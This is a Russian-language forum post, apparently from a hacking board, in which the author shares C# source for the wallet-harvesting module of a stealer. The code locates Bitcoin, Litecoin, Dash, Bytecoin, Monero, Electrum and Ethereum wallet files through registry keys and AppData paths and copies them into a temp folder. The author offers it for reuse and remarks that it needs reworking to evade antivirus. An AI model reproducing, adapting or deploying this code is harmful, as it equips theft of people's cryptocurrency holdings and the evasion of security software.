Когда-то писал стиллер и нужно было собрать файлы Wallet.dat с каждой папки битков.
Делайте под себя =)
Код нужно переделывать, антивири дикие просто палят жестко )
Класс в котором хранятся все пути:
Делайте под себя =)
Код нужно переделывать, антивири дикие просто палят жестко )
Код:
namespace BitSort
{
using Microsoft.Win32;
using System;
using System.IO;
public class BitBoard
{
public static void GetWallet()
{
#region Get Bitcoin
using (var Bit = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
{
using (RegistryKey Key = Bit.OpenSubKey(BitcoinQT, Environment.Is64BitOperatingSystem ? true : false))
{
using (RegistryKey Key2 = Bit.OpenSubKey(BitcointQT_x64, Environment.Is64BitOperatingSystem ? true : false))
{
CopyFiles("Bitcoin", Path.Combine(Key?.GetValue("strDataDir")?.ToString(), "wallet.dat") ?? Path.Combine(Key2?.GetValue("Path")?.ToString(), "Space", "wallet.dat"));
}
}
}
#endregion
#region Get Litecoin
using (var Lite = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
{
using (RegistryKey Key = Lite.OpenSubKey(LitecoinQt, Environment.Is64BitOperatingSystem ? true : false))
{
CopyFiles("Litecoin", Path.Combine(Key?.GetValue("strDataDir")?.ToString(), "wallet.dat"));
}
}
#endregion
#region Get Dashcoin
using (var Dash = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
{
using (RegistryKey Key = Dash.OpenSubKey(DashcoinQt, Environment.Is64BitOperatingSystem ? true : false))
{
CopyFiles("Dashcoin", Path.Combine(Key?.GetValue("strDataDir")?.ToString(), "wallet.dat"));
}
}
#endregion
#region Get Bytecoin
using (var Byte = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
{
using (RegistryKey Key = Byte.OpenSubKey(Bytecoint, Environment.Is64BitOperatingSystem ? true : false))
{
CopyFiles("Bytecoin", Path.Combine(Key?.GetValue("_2E72A52970B140DDB9F00AE0E5908B94")?.ToString(), "wallet.dat"));
}
}
#endregion
#region Get Monero
using (var Monero = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
{
using (RegistryKey Key = Monero.OpenSubKey(Monerocoin, Environment.Is64BitOperatingSystem ? true : false))
{
try
{
string kk = Key?.GetValue("wallet_path")?.ToString().Replace("/", @"\");
string reslts = kk.Substring(0, kk.LastIndexOf("\\"));
string final = reslts.Substring(0, reslts.LastIndexOf("\\"));
MassEnumerate("Monero", final, "*.*");
}
catch { }
}
}
#endregion
#region Get Electrum
MassEnumerate("Electrum", Path.Combine(GlobalPath.AppData, @"Electrum\wallets"), "*.*");
#endregion
#region Get Ethereum
MassEnumerate("Ethereum", Path.Combine(GlobalPath.AppData, @"Ethereum\keystore"), "*.*");
#endregion
}
#region Helpers
private static void CopyFiles(string dir, string path)
{
if (File.Exists(path))
{
try
{
string fd = Path.Combine(GlobalPath.User_Name, dir);
Directory.CreateDirectory(fd);
int size = 0;
if (!(new FileInfo(path).Length == size))
{
File.Copy(path, Path.Combine(fd, Path.GetFileName(path)), true);
}
}
catch { }
}
}
private static void MassEnumerate(string to, string from, string pattern)
{
try
{
foreach (string files in Directory.EnumerateFiles(from, pattern, SearchOption.AllDirectories))
{
if (!File.Exists(files))
{
continue;
}
else
{
CopyFiles(to, files);
}
}
}
catch (IOException) { }
catch (UnauthorizedAccessException) { }
catch (ArgumentException) { }
}
#endregion
#region Variables Path
private static readonly string BitcoinQT = @"Software\Bitcoin\Bitcoin-Qt";
private static readonly string BitcointQT_x64 = @"Software\Bitcoin Core (64-bit)";
private static readonly string LitecoinQt = @"Software\Litecoin\Litecoin-Qt";
private static readonly string DashcoinQt = @"Software\Dash\Dash-Qt";
private static readonly string Bytecoint = @"Software\Bytecoin Developers\Bytecoin\{BB770F1D-DC20-AD6C-30F3-1271CA1089E1}";
private static readonly string Monerocoin = @"Software\monero-project\monero-core";
#endregion
}
}
Класс в котором хранятся все пути:
Код:
public class GlobalPath
{
public static readonly string AssemblyPath = Assembly.GetExecutingAssembly().Location;
public static readonly string AppData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
public static readonly string LocalAppData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
public static readonly string StartupPath = Path.GetDirectoryName(AssemblyPath);
public static readonly string DefaultTemp = string.Concat(Environment.GetEnvironmentVariable("temp"), '\\');
public static readonly string User_Name = string.Concat(DefaultTemp, Environment.UserName);
}